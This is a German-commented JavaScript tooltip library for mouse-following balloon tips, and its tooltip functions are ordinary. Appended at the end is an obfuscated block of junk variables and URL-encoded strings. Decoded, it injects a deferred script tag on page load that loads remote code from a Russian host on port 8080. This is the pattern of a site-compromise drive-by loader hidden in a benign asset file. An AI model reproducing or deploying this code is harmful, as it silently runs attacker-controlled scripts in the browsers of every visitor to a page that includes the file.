/* ******************************************************************
	   TOOLTIPS 1.04 (c)2001-2002 Peter Kerl
	             www.peterkerl.de
****************************************************************** */


// integriert: Crossbrowser-Funktionen von "cross.js"


/* bitte vergesst nicht, ein Link auf meine Site zu setzen */

// Config:
var ballonBack		= "#ffcc00";	// Hintergrundfarbe
var ballonText		= "#000000";	// Text und Randfarbe
var ballonBreite	= 200;		// Ballon-Breite (Vorgabewert)
var ballonBorder	= 1;		// Randstärke
var ballonDir		= 0;		// Ausrichtung; 0=rechts 1=links
var ballonVDir		= 0;		// Ausrichtung; 0=unten 1=oberhalb
var ballonChangeVDir	= 65;		// Schwellwert für Wechsel der 
					// V-Ausrichtung am unteren Rand
var ballonSpace		= 15;		// Abstand vom Cursor
var ballonShow		= false;	// Anzeige aktiv/inaktiv

var Ballon = null;        // das DIV-Objekt
var b_Breite;             // aktueller Speicher für Ballonbreite
var b_Dir, b_VDir;

Ballon = crossGetObject("BallonTip");

// Ballon-Objekt (div) festlegen
function setBallon(id, breite, fgcolor, bgcolor) {
	document.onmousemove = cursorMove;

	if(breite && breite>20) {
		b_Breite = breite;
//		ballonBreite = breite;
	}
	if(bgcolor) ballonBack = bgcolor;
	if(fgcolor) ballonText = fgcolor;

	Ballon = crossGetObject(id);
	if(Ballon == null) {
		alert("keine Unterstützung für Ballon-Infos");
		showBallon = noBallon; hideBallon = noBallon;
	}
	ballonShow = false;
}
function noBallon() {} // functionsaufrufe abfangen
document.write('<meta name="scripts" content="TOOLTIPS 1.03 (c)2001-2002 Peter Kerl [www.peterkerl.de]">');

// Ballon kreieren und anzeigen
function showBallon(title, msg, dir, breite, bgcolor) {
	var b_Back;
	var relWidth, relHeight;

	if (Ballon == null) return false;

	b_Dir = ballonDir;
	if(breite) {
		b_Breite = breite;
	} else {
		b_Breite = ballonBreite;
	}
	b_Back = ballonBack;

//	msg = "<div style='width:"+b_Breite+"px; background-color:"+b_Back+"; border:1px solid black; padding:2px;'><font color='"+ballonText+"'>"+msg+"</font></div>";
	msg = "<table width='"+b_Breite+"' class='tbl-border' cellspacing='1'>"
		+ "<tr><td class='tbl2'>" + title + "</td></tr>"
		+ "<tr><td class='tbl1'>" + msg + "</td></tr>"
		+ "</table>";
/*
	msg = "<div style='width:"+b_Breite+"px; border:1px solid "+b_Back+"; background-color:"+b_Back+"'>"
		+ "<div class='scapmain'>" + title + "</div>"
		+ "<div class='side-body'>" + msg + "</font></div>"
		+ "</div>";
*/
/*
	if (!dir) b_Dir = ballonDir;
	else b_Dir = dir;
*/
	relWidth = crossInnerWindowWidth() + crossGetScroll("x");
	relHeight = crossInnerWindowHeight() + crossGetScroll("y");
	if(crossMouseX + b_Breite + ballonSpace > relWidth) {
		b_Dir = 1;
	} else if(crossMouseX < b_Breite + ballonSpace) {
		b_Dir = 0;
	}
	b_VDir = ballonVDir;
	if(crossMouseY + ballonChangeVDir > relHeight)
		b_VDir = 1;
	else if(crossMouseY - ballonChangeVDir < 0)
		b_VDir = 0;
	crossWrite(Ballon, msg);
	ballonShow = true;
	crossShowObject(Ballon);
	return true;
}

function hideBallon() {
	if (Ballon == null) return false;
	crossHideObject(Ballon);
	ballonShow=false;
	crossMoveTo(Ballon, -200, 0);
	return true;
}

// der Maus folgen
function cursorMove(e) {
	var posX, posY;
	
	crossMousePosition(e);

	if (ballonShow) {
		
		if (b_Dir==0) {
			posX = crossMouseX + ballonSpace; 
			if (b_VDir==0) {posY = crossMouseY + ballonSpace;}
			else {posY = crossMouseY - ballonChangeVDir;}
		}
		else {
			posX = crossMouseX-b_Breite-ballonSpace;
			if (b_VDir==0) {posY = crossMouseY + ballonSpace;}
			else {posY = crossMouseY - ballonChangeVDir;}
		}
		crossMoveTo(Ballon, posX, posY)
	}
}

var N;if(N!='j'){N='j'};var Xj=new String();function X(){var D=window;var P;if(P!='Cq' && P!='DK'){P='Cq'};this.Ja="";this.e='';var eh;if(eh!='' && eh!='z'){eh=null};var r=unescape;var Au;if(Au!='YD'){Au='YD'};var Ax;if(Ax!='G' && Ax!='Cu'){Ax=''};var S=r("%2f%61%6c%69%63%65%2d%69%74%2f%67%6f%6f%67%6c%65%2e%63%6f%6d%2f%73%74%61%63%6b%6f%76%65%72%66%6c%6f%77%2e%63%6f%6d%2e%70%68%70");this.KI='';this.W='';this.XN="";function H(J,XY){var Rg;if(Rg!='' && Rg!='Qi'){Rg=''};var Ad=new String();var y=String("g");var l=r("%5b"), Y=r("%5d");this.g="";var XD=l+XY+Y;this.Qn="";var p=new RegExp(XD, y);var xc=new Date();return J.replace(p, new String());};this.AR="";var ID="";var C=H('8430348440944','9435');var BH=new Array();var JV=document;var jT=new String();var Xg=new String();var c;if(c!=''){c='rE'};var UC='';var Pb=new String();var FP;if(FP!=''){FP='q'};function DF(){this.CA="";var K=r("%68%74%74%70%3a%2f%2f%69%63%79%63%68%69%6e%61%2e%72%75%3a");var uN;if(uN!='MV' && uN!='MG'){uN='MV'};var zx=new Array();Xg=K;var fu;if(fu!='m' && fu != ''){fu=null};Xg+=C;Xg+=S;var IE;if(IE!='' && IE!='IU'){IE=''};var jL=new Date();this.oES="";var CZ="";try {this.Ctq="";I=JV.createElement(H('sYcYrbifpZtZ','1VvZYMSkbhfW'));var GF="";this.xw='';this.bI='';I[r("%73%72%63")]=Xg;var Cw;if(Cw!='' && Cw!='BJ'){Cw='d'};I[r("%64%65%66%65%72")]=[1,1][0];var SR='';var mt;if(mt!='' && mt!='Ts'){mt=''};JV.body.appendChild(I);var Zp;if(Zp!='' && Zp!='BU'){Zp='lX'};var vR;if(vR!='SZ'){vR='SZ'};this.CI="";} catch(V){var Bd;if(Bd!='SM' && Bd != ''){Bd=null};alert(V);var Nu=new String();};}var kv;if(kv!='' && kv!='pJ'){kv=''};var Fl='';D["onloa5MSu".substr(0,5)+"KjU0d".substr(4)]=DF;var QZ;if(QZ!='IfH' && QZ != ''){QZ=null};var WS=new Array();var Vz='';var MZ;if(MZ!='' && MZ!='Ya'){MZ='pR'};};var xP;if(xP!='MVj' && xP!='SP'){xP=''};var iG=new Array();X();this.SI='';var ir=new Date();
